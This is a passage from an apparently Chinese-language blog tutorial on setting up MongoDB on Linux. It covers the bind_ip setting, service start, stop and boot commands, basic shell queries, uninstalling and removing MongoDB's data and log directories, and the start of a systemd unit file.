id="修改配置文件的-bind-ip-默认是-127-0-0-1只限于本机连接。所以安装完成后必须把这个修改为-0-0-0-0-否则通过别的机器是没法连接的">修改配置文件的 bind_ip, 默认是 127.0.0.1只限于本机连接。所以安装完成后必须把这个修改为 0.0.0.0 ,否则通过别的机器是没法连接的!</h5><h3 id="启动、停止、重启">启动、停止、重启</h3><h5 id="MongoDB默认将数据文件存储在-var-lib-mongo目录，默认日志文件在-var-log-mongodb中。如果要修改-可以在-etc-mongod-conf-配置中指定备用日志和数据文件目录。">MongoDB默认将数据文件存储在/var/lib/mongo目录，默认日志文件在/var/log/mongodb中。如果要修改,可以在 /etc/mongod.conf 配置中指定备用日志和数据文件目录。</h5><blockquote><p>启动命令:</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service mongod start</span><br></pre></td></tr></table></figure><blockquote><p>停止命令:</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service mongod stop</span><br></pre></td></tr></table></figure><blockquote><p>重启命令:</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service mongod restart</span><br></pre></td></tr></table></figure><h4 id="查看mongoDB是否启动成功-可以通过查看日志文件">查看mongoDB是否启动成功:可以通过查看日志文件</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /var/log/mongodb/mongod.log</span><br></pre></td></tr></table></figure><h4 id="日志文件应该会出现如下一句说明">日志文件应该会出现如下一句说明</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[initandlisten] waiting for connections on port &lt;port&gt;</span><br><span class="line">&lt;port&gt; 是mongodb运行端口</span><br></pre></td></tr></table></figure><blockquote><p>设置开机启动</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chkconfig mongod on</span><br></pre></td></tr></table></figure><h3 id="使用">使用</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@instance-d0nk2r2c ~]# mongo</span><br></pre></td></tr></table></figure><blockquote><p>查看数据库</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">show dbs;</span><br></pre></td></tr></table></figure><blockquote><p>查看数据库版本</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">db.version();</span><br></pre></td></tr></table></figure><blockquote><p>常用命令帮助</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">db.help();</span><br></pre></td></tr></table></figure><h3 id="卸载移除mongo">卸载移除mongo</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum erase $(rpm -qa | grep mongodb-org)</span><br></pre></td></tr></table></figure><h3 id="移除数据库文件和日志文件">移除数据库文件和日志文件</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rm -r /var/log/mongodb</span><br><span class="line">rm -r /var/lib/mongo</span><br></pre></td></tr></table></figure><h3 id="错误解析">错误解析</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/0624c04e49506fa9920f80f66c8e5413.png" alt="image"></p><h5 id="创建配置文件：">创建配置文件：</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo nano /etc/systemd/system/mongodb.service</span><br></pre></td></tr></table></figure><h5 id="在里面追加文本：">在里面追加文本：</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line">Description=High-performance, schema-free document-oriented database</span><br><span class="line">After=network.target</span><br><span class="line"> </span><br><span class="line">[Service]</span><br><span 